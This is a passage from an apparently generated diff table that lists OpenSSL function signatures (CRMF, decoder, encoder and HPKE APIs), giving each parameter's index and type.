OSSL_CRMF_ATTRIBUTETYPEANDVALUE ** | +| (OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long) | | d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE | 1 | const unsigned char ** | +| (OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long) | | d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE | 2 | long | +| (OSSL_CRMF_CERTID *) | | OSSL_CRMF_CERTID_free | 0 | OSSL_CRMF_CERTID * | +| (OSSL_CRMF_CERTID **,const unsigned char **,long) | | d2i_OSSL_CRMF_CERTID | 0 | OSSL_CRMF_CERTID ** | +| (OSSL_CRMF_CERTID **,const unsigned char **,long) | | d2i_OSSL_CRMF_CERTID | 1 | const unsigned char ** | +| (OSSL_CRMF_CERTID **,const unsigned char **,long) | | d2i_OSSL_CRMF_CERTID | 2 | long | +| (OSSL_CRMF_CERTREQUEST *) | | OSSL_CRMF_CERTREQUEST_free | 0 | OSSL_CRMF_CERTREQUEST * | +| (OSSL_CRMF_CERTREQUEST **,const unsigned char **,long) | | d2i_OSSL_CRMF_CERTREQUEST | 0 | OSSL_CRMF_CERTREQUEST ** | +| (OSSL_CRMF_CERTREQUEST **,const unsigned char **,long) | | d2i_OSSL_CRMF_CERTREQUEST | 1 | const unsigned char ** | +| (OSSL_CRMF_CERTREQUEST **,const unsigned char **,long) | | d2i_OSSL_CRMF_CERTREQUEST | 2 | long | +| (OSSL_CRMF_CERTTEMPLATE *) | | OSSL_CRMF_CERTTEMPLATE_free | 0 | OSSL_CRMF_CERTTEMPLATE * | +| (OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long) | | d2i_OSSL_CRMF_CERTTEMPLATE | 0 | OSSL_CRMF_CERTTEMPLATE ** | +| (OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long) | | d2i_OSSL_CRMF_CERTTEMPLATE | 1 | const unsigned char ** | +| (OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long) | | d2i_OSSL_CRMF_CERTTEMPLATE | 2 | long | +| (OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *) | | OSSL_CRMF_CERTTEMPLATE_fill | 0 | OSSL_CRMF_CERTTEMPLATE * | +| (OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *) | | OSSL_CRMF_CERTTEMPLATE_fill | 1 | EVP_PKEY * | +| (OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *) | | OSSL_CRMF_CERTTEMPLATE_fill | 2 | const X509_NAME * | +| (OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *) | | OSSL_CRMF_CERTTEMPLATE_fill | 3 | const X509_NAME * | +| (OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *) | | OSSL_CRMF_CERTTEMPLATE_fill | 4 | const ASN1_INTEGER * | +| (OSSL_CRMF_ENCKEYWITHID *) | | OSSL_CRMF_ENCKEYWITHID_free | 0 | OSSL_CRMF_ENCKEYWITHID * | +| (OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCKEYWITHID | 0 | OSSL_CRMF_ENCKEYWITHID ** | +| (OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCKEYWITHID | 1 | const unsigned char ** | +| (OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCKEYWITHID | 2 | long | +| (OSSL_CRMF_ENCKEYWITHID_IDENTIFIER *) | | OSSL_CRMF_ENCKEYWITHID_IDENTIFIER_free | 0 | OSSL_CRMF_ENCKEYWITHID_IDENTIFIER * | +| (OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER | 0 | OSSL_CRMF_ENCKEYWITHID_IDENTIFIER ** | +| (OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER | 1 | const unsigned char ** | +| (OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER | 2 | long | +| (OSSL_CRMF_ENCRYPTEDKEY *) | | OSSL_CRMF_ENCRYPTEDKEY_free | 0 | OSSL_CRMF_ENCRYPTEDKEY * | +| (OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCRYPTEDKEY | 0 | OSSL_CRMF_ENCRYPTEDKEY ** | +| (OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCRYPTEDKEY | 1 | const unsigned char ** | +| (OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCRYPTEDKEY | 2 | long | +| (OSSL_CRMF_ENCRYPTEDVALUE *) | | OSSL_CRMF_ENCRYPTEDVALUE_free | 0 | OSSL_CRMF_ENCRYPTEDVALUE * | +| (OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCRYPTEDVALUE | 0 | OSSL_CRMF_ENCRYPTEDVALUE ** | +| (OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCRYPTEDVALUE | 1 | const unsigned char ** | +| (OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long) | | d2i_OSSL_CRMF_ENCRYPTEDVALUE | 2 | long | +| (OSSL_CRMF_MSG *) | | OSSL_CRMF_MSG_free | 0 | OSSL_CRMF_MSG * | +| (OSSL_CRMF_MSG **,const unsigned char **,long) | | d2i_OSSL_CRMF_MSG | 0 | OSSL_CRMF_MSG ** | +| (OSSL_CRMF_MSG **,const unsigned char **,long) | | d2i_OSSL_CRMF_MSG | 1 | const unsigned char ** | +| (OSSL_CRMF_MSG **,const unsigned char **,long) | | d2i_OSSL_CRMF_MSG | 2 | long | +| (OSSL_CRMF_MSG *,const OSSL_CRMF_CERTID *) | | OSSL_CRMF_MSG_set1_regCtrl_oldCertID | 0 | OSSL_CRMF_MSG * | +| (OSSL_CRMF_MSG *,const OSSL_CRMF_CERTID *) | | OSSL_CRMF_MSG_set1_regCtrl_oldCertID | 1 | const OSSL_CRMF_CERTID * | +| (OSSL_CRMF_MSG *,const OSSL_CRMF_CERTREQUEST *) | | OSSL_CRMF_MSG_set1_regInfo_certReq | 0 | OSSL_CRMF_MSG * | +| (OSSL_CRMF_MSG *,const OSSL_CRMF_CERTREQUEST *) | | OSSL_CRMF_MSG_set1_regInfo_certReq | 1 | const OSSL_CRMF_CERTREQUEST * | +| (OSSL_CRMF_MSG *,const OSSL_CRMF_PKIPUBLICATIONINFO *) | | OSSL_CRMF_MSG_set1_regCtrl_pkiPublicationInfo | 0 | OSSL_CRMF_MSG * | +| (OSSL_CRMF_MSG *,const OSSL_CRMF_PKIPUBLICATIONINFO *) | | OSSL_CRMF_MSG_set1_regCtrl_pkiPublicationInfo | 1 | const OSSL_CRMF_PKIPUBLICATIONINFO * | +| (OSSL_CRMF_MSGS *) | | OSSL_CRMF_MSGS_free | 0 | OSSL_CRMF_MSGS * | +| (OSSL_CRMF_MSGS **,const unsigned char **,long) | | d2i_OSSL_CRMF_MSGS | 0 | OSSL_CRMF_MSGS ** | +| (OSSL_CRMF_MSGS **,const unsigned char **,long) | | d2i_OSSL_CRMF_MSGS | 1 | const unsigned char ** | +| (OSSL_CRMF_MSGS **,const unsigned char **,long) | | d2i_OSSL_CRMF_MSGS | 2 | long | +| (OSSL_CRMF_OPTIONALVALIDITY *) | | OSSL_CRMF_OPTIONALVALIDITY_free | 0 | OSSL_CRMF_OPTIONALVALIDITY * | +| (OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long) | | d2i_OSSL_CRMF_OPTIONALVALIDITY | 0 | OSSL_CRMF_OPTIONALVALIDITY ** | +| (OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long) | | d2i_OSSL_CRMF_OPTIONALVALIDITY | 1 | const unsigned char ** | +| (OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long) | | d2i_OSSL_CRMF_OPTIONALVALIDITY | 2 | long | +| (OSSL_CRMF_PBMPARAMETER *) | | OSSL_CRMF_PBMPARAMETER_free | 0 | OSSL_CRMF_PBMPARAMETER * | +| (OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long) | | d2i_OSSL_CRMF_PBMPARAMETER | 0 | OSSL_CRMF_PBMPARAMETER ** | +| (OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long) | | d2i_OSSL_CRMF_PBMPARAMETER | 1 | const unsigned char ** | +| (OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long) | | d2i_OSSL_CRMF_PBMPARAMETER | 2 | long | +| (OSSL_CRMF_PKIPUBLICATIONINFO *) | | OSSL_CRMF_PKIPUBLICATIONINFO_free | 0 | OSSL_CRMF_PKIPUBLICATIONINFO * | +| (OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long) | | d2i_OSSL_CRMF_PKIPUBLICATIONINFO | 0 | OSSL_CRMF_PKIPUBLICATIONINFO ** | +| (OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long) | | d2i_OSSL_CRMF_PKIPUBLICATIONINFO | 1 | const unsigned char ** | +| (OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long) | | d2i_OSSL_CRMF_PKIPUBLICATIONINFO | 2 | long | +| (OSSL_CRMF_PKIPUBLICATIONINFO *,OSSL_CRMF_SINGLEPUBINFO *) | | OSSL_CRMF_MSG_PKIPublicationInfo_push0_SinglePubInfo | 0 | OSSL_CRMF_PKIPUBLICATIONINFO * | +| (OSSL_CRMF_PKIPUBLICATIONINFO *,OSSL_CRMF_SINGLEPUBINFO *) | | OSSL_CRMF_MSG_PKIPublicationInfo_push0_SinglePubInfo | 1 | OSSL_CRMF_SINGLEPUBINFO * | +| (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 0 | OSSL_CRMF_PKIPUBLICATIONINFO * | +| (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | int | +| (OSSL_CRMF_PKMACVALUE *) | | OSSL_CRMF_PKMACVALUE_free | 0 | OSSL_CRMF_PKMACVALUE * | +| (OSSL_CRMF_PKMACVALUE **,const unsigned char **,long) | | d2i_OSSL_CRMF_PKMACVALUE | 0 | OSSL_CRMF_PKMACVALUE ** | +| (OSSL_CRMF_PKMACVALUE **,const unsigned char **,long) | | d2i_OSSL_CRMF_PKMACVALUE | 1 | const unsigned char ** | +| (OSSL_CRMF_PKMACVALUE **,const unsigned char **,long) | | d2i_OSSL_CRMF_PKMACVALUE | 2 | long | +| (OSSL_CRMF_POPO *) | | OSSL_CRMF_POPO_free | 0 | OSSL_CRMF_POPO * | +| (OSSL_CRMF_POPO **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPO | 0 | OSSL_CRMF_POPO ** | +| (OSSL_CRMF_POPO **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPO | 1 | const unsigned char ** | +| (OSSL_CRMF_POPO **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPO | 2 | long | +| (OSSL_CRMF_POPOPRIVKEY *) | | OSSL_CRMF_POPOPRIVKEY_free | 0 | OSSL_CRMF_POPOPRIVKEY * | +| (OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPOPRIVKEY | 0 | OSSL_CRMF_POPOPRIVKEY ** | +| (OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPOPRIVKEY | 1 | const unsigned char ** | +| (OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPOPRIVKEY | 2 | long | +| (OSSL_CRMF_POPOSIGNINGKEY *) | | OSSL_CRMF_POPOSIGNINGKEY_free | 0 | OSSL_CRMF_POPOSIGNINGKEY * | +| (OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPOSIGNINGKEY | 0 | OSSL_CRMF_POPOSIGNINGKEY ** | +| (OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPOSIGNINGKEY | 1 | const unsigned char ** | +| (OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPOSIGNINGKEY | 2 | long | +| (OSSL_CRMF_POPOSIGNINGKEYINPUT *) | | OSSL_CRMF_POPOSIGNINGKEYINPUT_free | 0 | OSSL_CRMF_POPOSIGNINGKEYINPUT * | +| (OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT | 0 | OSSL_CRMF_POPOSIGNINGKEYINPUT ** | +| (OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT | 1 | const unsigned char ** | +| (OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT | 2 | long | +| (OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO *) | | OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO_free | 0 | OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO * | +| (OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO | 0 | OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO ** | +| (OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO | 1 | const unsigned char ** | +| (OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long) | | d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO | 2 | long | +| (OSSL_CRMF_PRIVATEKEYINFO *) | | OSSL_CRMF_PRIVATEKEYINFO_free | 0 | OSSL_CRMF_PRIVATEKEYINFO * | +| (OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long) | | d2i_OSSL_CRMF_PRIVATEKEYINFO | 0 | OSSL_CRMF_PRIVATEKEYINFO ** | +| (OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long) | | d2i_OSSL_CRMF_PRIVATEKEYINFO | 1 | const unsigned char ** | +| (OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long) | | d2i_OSSL_CRMF_PRIVATEKEYINFO | 2 | long | +| (OSSL_CRMF_SINGLEPUBINFO *) | | OSSL_CRMF_SINGLEPUBINFO_free | 0 | OSSL_CRMF_SINGLEPUBINFO * | +| (OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long) | | d2i_OSSL_CRMF_SINGLEPUBINFO | 0 | OSSL_CRMF_SINGLEPUBINFO ** | +| (OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long) | | d2i_OSSL_CRMF_SINGLEPUBINFO | 1 | const unsigned char ** | +| (OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long) | | d2i_OSSL_CRMF_SINGLEPUBINFO | 2 | long | +| (OSSL_CRMF_SINGLEPUBINFO *,int,GENERAL_NAME *) | | OSSL_CRMF_MSG_set0_SinglePubInfo | 0 | OSSL_CRMF_SINGLEPUBINFO * | +| (OSSL_CRMF_SINGLEPUBINFO *,int,GENERAL_NAME *) | | OSSL_CRMF_MSG_set0_SinglePubInfo | 1 | int | +| (OSSL_CRMF_SINGLEPUBINFO *,int,GENERAL_NAME *) | | OSSL_CRMF_MSG_set0_SinglePubInfo | 2 | GENERAL_NAME * | +| (OSSL_DAY_TIME *) | | OSSL_DAY_TIME_free | 0 | OSSL_DAY_TIME * | +| (OSSL_DAY_TIME **,const unsigned char **,long) | | d2i_OSSL_DAY_TIME | 0 | OSSL_DAY_TIME ** | +| (OSSL_DAY_TIME **,const unsigned char **,long) | | d2i_OSSL_DAY_TIME | 1 | const unsigned char ** | +| (OSSL_DAY_TIME **,const unsigned char **,long) | | d2i_OSSL_DAY_TIME | 2 | long | +| (OSSL_DAY_TIME_BAND *) | | OSSL_DAY_TIME_BAND_free | 0 | OSSL_DAY_TIME_BAND * | +| (OSSL_DAY_TIME_BAND **,const unsigned char **,long) | | d2i_OSSL_DAY_TIME_BAND | 0 | OSSL_DAY_TIME_BAND ** | +| (OSSL_DAY_TIME_BAND **,const unsigned char **,long) | | d2i_OSSL_DAY_TIME_BAND | 1 | const unsigned char ** | +| (OSSL_DAY_TIME_BAND **,const unsigned char **,long) | | d2i_OSSL_DAY_TIME_BAND | 2 | long | +| (OSSL_DECODER *,const char *,int *) | | ossl_decoder_fast_is_a | 0 | OSSL_DECODER * | +| (OSSL_DECODER *,const char *,int *) | | ossl_decoder_fast_is_a | 1 | const char * | +| (OSSL_DECODER *,const char *,int *) | | ossl_decoder_fast_is_a | 2 | int * | +| (OSSL_DECODER *,void *) | | ossl_decoder_instance_new | 0 | OSSL_DECODER * | +| (OSSL_DECODER *,void *) | | ossl_decoder_instance_new | 1 | void * | +| (OSSL_DECODER *,void *,const char *) | | ossl_decoder_instance_new_forprov | 0 | OSSL_DECODER * | +| (OSSL_DECODER *,void *,const char *) | | ossl_decoder_instance_new_forprov | 1 | void * | +| (OSSL_DECODER *,void *,const char *) | | ossl_decoder_instance_new_forprov | 2 | const char * | +| (OSSL_DECODER_CTX *) | | OSSL_DECODER_CTX_get_cleanup | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *) | | OSSL_DECODER_CTX_get_construct | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *) | | OSSL_DECODER_CTX_get_construct_data | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *) | | OSSL_DECODER_CTX_get_num_decoders | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *,BIO *) | | OSSL_DECODER_from_bio | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *,BIO *) | | OSSL_DECODER_from_bio | 1 | BIO * | +| (OSSL_DECODER_CTX *,OSSL_DECODER_CLEANUP *) | | OSSL_DECODER_CTX_set_cleanup | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *,OSSL_DECODER_CLEANUP *) | | OSSL_DECODER_CTX_set_cleanup | 1 | OSSL_DECODER_CLEANUP * | +| (OSSL_DECODER_CTX *,OSSL_DECODER_CONSTRUCT *) | | OSSL_DECODER_CTX_set_construct | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *,OSSL_DECODER_CONSTRUCT *) | | OSSL_DECODER_CTX_set_construct | 1 | OSSL_DECODER_CONSTRUCT * | +| (OSSL_DECODER_CTX *,OSSL_DECODER_INSTANCE *) | | ossl_decoder_ctx_add_decoder_inst | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *,OSSL_DECODER_INSTANCE *) | | ossl_decoder_ctx_add_decoder_inst | 1 | OSSL_DECODER_INSTANCE * | +| (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_structure | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_structure | 1 | const char * | +| (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_type | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_type | 1 | const char * | +| (OSSL_DECODER_CTX *,const unsigned char **,size_t *) | | OSSL_DECODER_from_data | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *,const unsigned char **,size_t *) | | OSSL_DECODER_from_data | 1 | const unsigned char ** | +| (OSSL_DECODER_CTX *,const unsigned char **,size_t *) | | OSSL_DECODER_from_data | 2 | size_t * | +| (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | int | +| (OSSL_DECODER_CTX *,void *) | | OSSL_DECODER_CTX_set_construct_data | 0 | OSSL_DECODER_CTX * | +| (OSSL_DECODER_CTX *,void *) | | OSSL_DECODER_CTX_set_construct_data | 1 | void * | +| (OSSL_DECODER_INSTANCE *) | | OSSL_DECODER_INSTANCE_get_decoder | 0 | OSSL_DECODER_INSTANCE * | +| (OSSL_DECODER_INSTANCE *) | | OSSL_DECODER_INSTANCE_get_decoder_ctx | 0 | OSSL_DECODER_INSTANCE * | +| (OSSL_DECODER_INSTANCE *) | | OSSL_DECODER_INSTANCE_get_input_type | 0 | OSSL_DECODER_INSTANCE * | +| (OSSL_DECODER_INSTANCE *,int *) | | OSSL_DECODER_INSTANCE_get_input_structure | 0 | OSSL_DECODER_INSTANCE * | +| (OSSL_DECODER_INSTANCE *,int *) | | OSSL_DECODER_INSTANCE_get_input_structure | 1 | int * | +| (OSSL_ENCODER_CTX *) | | OSSL_ENCODER_CTX_get_num_encoders | 0 | OSSL_ENCODER_CTX * | +| (OSSL_ENCODER_CTX *,OSSL_ENCODER_CLEANUP *) | | OSSL_ENCODER_CTX_set_cleanup | 0 | OSSL_ENCODER_CTX * | +| (OSSL_ENCODER_CTX *,OSSL_ENCODER_CLEANUP *) | | OSSL_ENCODER_CTX_set_cleanup | 1 | OSSL_ENCODER_CLEANUP * | +| (OSSL_ENCODER_CTX *,OSSL_ENCODER_CONSTRUCT *) | | OSSL_ENCODER_CTX_set_construct | 0 | OSSL_ENCODER_CTX * | +| (OSSL_ENCODER_CTX *,OSSL_ENCODER_CONSTRUCT *) | | OSSL_ENCODER_CTX_set_construct | 1 | OSSL_ENCODER_CONSTRUCT * | +| (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_structure | 0 | OSSL_ENCODER_CTX * | +| (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_structure | 1 | const char * | +| (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_type | 0 | OSSL_ENCODER_CTX * | +| (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_type | 1 | const char * | +| (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 0 | OSSL_ENCODER_CTX * | +| (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | int | +| (OSSL_ENCODER_CTX *,unsigned char **,size_t *) | | OSSL_ENCODER_to_data | 0 | OSSL_ENCODER_CTX * | +| (OSSL_ENCODER_CTX *,unsigned char **,size_t *) | | OSSL_ENCODER_to_data | 1 | unsigned char ** | +| (OSSL_ENCODER_CTX *,unsigned char **,size_t *) | | OSSL_ENCODER_to_data | 2 | size_t * | +| (OSSL_ENCODER_CTX *,void *) | | OSSL_ENCODER_CTX_set_construct_data | 0 | OSSL_ENCODER_CTX * | +| (OSSL_ENCODER_CTX *,void *) | | OSSL_ENCODER_CTX_set_construct_data | 1 | void * | +| (OSSL_ENCODER_INSTANCE *) | | OSSL_ENCODER_INSTANCE_get_encoder | 0 | OSSL_ENCODER_INSTANCE * | +| (OSSL_ENCODER_INSTANCE *) | | OSSL_ENCODER_INSTANCE_get_encoder_ctx | 0 | OSSL_ENCODER_INSTANCE * | +| (OSSL_ENCODER_INSTANCE *) | | OSSL_ENCODER_INSTANCE_get_output_structure | 0 | OSSL_ENCODER_INSTANCE * | +| (OSSL_ENCODER_INSTANCE *) | | OSSL_ENCODER_INSTANCE_get_output_type | 0 | OSSL_ENCODER_INSTANCE * | +| (OSSL_HASH *) | | OSSL_HASH_free | 0 | OSSL_HASH * | +| (OSSL_HASH **,const unsigned char **,long) | | d2i_OSSL_HASH | 0 | OSSL_HASH ** | +| (OSSL_HASH **,const unsigned char **,long) | | d2i_OSSL_HASH | 1 | const unsigned char ** | +| (OSSL_HASH **,const unsigned char **,long) | | d2i_OSSL_HASH | 2 | long | +| (OSSL_HPKE_CTX *,EVP_PKEY *) | | OSSL_HPKE_CTX_set1_authpriv | 0 | OSSL_HPKE_CTX * | +| (OSSL_HPKE_CTX *,EVP_PKEY *) | | OSSL_HPKE_CTX_set1_authpriv | 1 | EVP_PKEY * | +| (OSSL_HPKE_CTX *,const char *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_psk | 0 | OSSL_HPKE_CTX * | +| (OSSL_HPKE_CTX *,const char *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_psk | 1 | const char * | +| (OSSL_HPKE_CTX *,const char *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_psk | 2 | const unsigned char * | +| (OSSL_HPKE_CTX *,const char *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_psk | 3 | size_t | +| (OSSL_HPKE_CTX *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_ikme | 0 | OSSL_HPKE_CTX * | +| (OSSL_HPKE_CTX *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_ikme | 1 | const unsigned char * | +| (OSSL_HPKE_CTX *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_ikme | 2 | size_t | +| (OSSL_HPKE_CTX *,uint64_t *) | | OSSL_HPKE_CTX_get_seq | 0 | OSSL_HPKE_CTX * | +| (OSSL_HPKE_CTX *,uint64_t *) | | OSSL_HPKE_CTX_get_seq | 1 | uint64_t * | +| (OSSL_HPKE_CTX *,uint64_t) | | OSSL_HPKE_CTX_set_seq | 0 | OSSL_HPKE_CTX * | +| (OSSL_HPKE_CTX *,uint64_t) | | OSSL_HPKE_CTX_set_seq | 1 | uint64_t | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_encap | 0 | OSSL_HPKE_CTX * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_encap | 1 | unsigned char * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_encap | 2 | size_t * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_encap | 3 | const unsigned char * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_encap | 4 | size_t | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_encap | 5 | const unsigned char * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_encap | 6 | size_t | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_open | 0 | OSSL_HPKE_CTX * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_open | 1 | unsigned char * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_open | 2 | size_t * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_open | 3 | const unsigned char * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_open | 4 | size_t | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_open | 5 | const unsigned char * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_open | 6 | size_t | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_seal | 0 | OSSL_HPKE_CTX * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_seal | 1 | unsigned char * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_seal | 2 | size_t * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_seal | 3 | const unsigned char * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_seal | 4 | size_t | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_seal | 5 | const unsigned char * | +| (OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t) | | OSSL_HPKE_seal | 6 | size_t | +| 